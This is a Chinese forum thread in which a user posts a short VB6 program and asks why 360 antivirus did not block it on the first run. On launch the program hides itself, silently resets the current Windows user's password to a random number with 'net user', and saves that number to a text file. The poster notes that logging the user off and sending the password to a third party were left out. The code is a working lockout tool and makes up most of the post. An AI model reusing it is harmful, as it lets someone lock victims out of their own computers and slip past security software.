求助，360在64位下的主防

znyyddf

@360客服
本人小白，会一点VB
上次朋友让我写个简单的，给电脑加密码的东东
就顺手写了
代码如下：
Private Sub Form_Load()
Form1.Hide
   Dim a As String
   Dim b As Integer
   Dim c As Object
   Dim d As Integer
   a = Environ("username")
   Randomize
   b = Int(Rnd * (1000 - 500 + 1) + 500)
   d = FreeFile
   Open "c:/haha.txt" For Output As #d
   Print #d, b
   Close #d
   Set c = CreateObject("wscript.shell")
   c.run ("cmd /c net user " & a & " " & b)
   MsgBox "ok", vbSystemModal
   End
End Sub
本以为360定会拦截，
诡异的是
成功运行。。。。。。。。。。。。。
更诡异的是，
第二次运行时拦截。。。。。。。
什么状况。。。。。
这让我很没安全感
求大神
另：核晶引擎未开
貌似本人电脑问题谁给分析下

顺便说下，代码中没加注销计算机和传输密码给指定人代码
成品如下：

电脑发烧友

360在×64下需要开启核晶才能提升防护强度到正常水平。

pal家族

Kaspersky WIN10 64位